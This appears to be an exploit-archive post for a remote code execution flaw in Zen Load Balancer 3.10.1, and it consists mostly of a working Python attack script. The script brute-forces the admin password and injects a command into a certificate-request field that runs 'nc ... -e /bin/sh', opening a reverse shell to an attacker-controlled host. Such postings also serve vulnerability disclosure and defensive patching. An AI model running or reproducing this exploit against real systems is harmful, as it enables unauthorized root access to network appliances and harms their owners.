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Zen Load Balancer 3.10.1 Remote Code Execution

Zen Load Balancer 3.10.1 Remote Code Execution
Posted Mar 30, 2020
Authored by Cody Sixteen

Zen Load Balancer version 3.10.1 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
SHA-256 | 29c20561040a95db93c50db27ac160b719fa168e3166212b7e43c1092858f647

Zen Load Balancer 3.10.1 Remote Code Execution

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c@kali:~/src/eonila/zenload3r$ cat zenload3r.py
#!/usr/bin/env python
# zenload3r.py - zen load balancer pwn3r
# 28.03.2020 @ 22:41
#
# by cody sixteen
#

import base64
import sys, re
import requests
import ssl
from functools import partial
ssl.wrap_socket = partial(ssl.wrap_socket, ssl_version=ssl.PROTOCOL_TLSv1)
# disable ssl warnings:
import urllib3
urllib3.disable_warnings()
from requests.auth import HTTPBasicAuth

#
target = sys.argv[1]
username = 'admin'
password = 'P@ssw0rd'

def main():
print 'zenload3r.py - zen load balancer pwn3r'
print ' zenload3r.py - vs - %s' % ( target )
print ''

print '[+] checking if host is alive...'
global sess
sess = requests.session()
global baseUrl
baseUrl = target + ':444/index.cgi'
checkBaseUrl = sess.get(baseUrl, verify=False)
checkBaseResp = checkBaseUrl.status_code

#print checkBaseResp
if checkBaseResp == 401:
print '[i] ...it is. we need to log in to proceed'
logmein(baseUrl)


def logmein(target):
print '[+] trying %s and default password "%s" vs %s' % (username, password, baseUrl )

#pwd_file = '/usr/share/wordlists/dirb/common.txt'
pwd_file = 'passwd.lst'

try:
read_pwds = open(pwd_file, 'r')
pwds = read_pwds.readlines()

for pwd in pwds:
pwd = pwd.rstrip()
logme = sess.post(baseUrl, auth=HTTPBasicAuth(username,pwd), allow_redirects=Tru e)
logmeresp = logme.text

#print logmeresp
if '<p>Hello <strong>admin</strong>' in logmeresp:
print '[+] admin user logged-in! :D'
print '[+] working password: %s' % ( pwd )

load3r(baseUrl, pwd)

except requests.exceptions.ConnectionError:
print '[-] Can not connect to remote host :C\n'


def load3r(baseUrl, pwd):
print '[+] time to get reverse shell, preparing...'

creds = base64.b64encode("{}:{}".format(username,pwd))
creds2 = creds.rstrip()
print 'creds: ', creds2

baseUrl = "https://192.168.1.200:444/index.cgi"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/2 0100101 Firefox/73.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q= 0.8",
"Accept-Language": "pl,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded", "Origin": "https://192.168.1. 200:444",
"Authorization": "Basic {}".format(creds2), "Connection": "close",
"Referer": "https://192.168.1.200:444/index.cgi?id=1-3&action=Show_Form", "Upgrade -Insecure-Requests": "1"
}
sh = "a\";nc 192.168.1.170 4444 -e /bin/sh;#"
reqdata = {"cert_name": "qweqweqwe", "cert_issuer": "Sofintel",
"cert_fqdn": "qweqweqwe", "cert_division": "qweqweqwe",
"cert_organization": sh,
"cert_locality": "qweqweqwe", "cert_state": "qweqweqwe",
"cert_country": "qw", "cert_mail": "qweqweqwe@qweqweqwe.com",
"cert_key": "2048", "id": "1-3", "actionpost": "Generate CSR", "button": "Generate CSR"}

requests.post(baseUrl, headers=headers, data=reqdata,verify=False)

print '[*] got r00t? ;>\n'


# run me:
if __name__ == '__main__':
main()

c@kali:~/src/eonila/zenload3r$
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